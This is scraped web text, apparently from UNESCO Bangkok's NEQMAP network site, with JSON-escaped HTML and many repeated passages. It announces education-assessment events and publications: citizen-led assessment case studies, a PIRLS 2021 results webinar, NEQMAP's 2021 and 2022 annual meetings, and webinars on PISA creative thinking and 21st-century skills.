The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

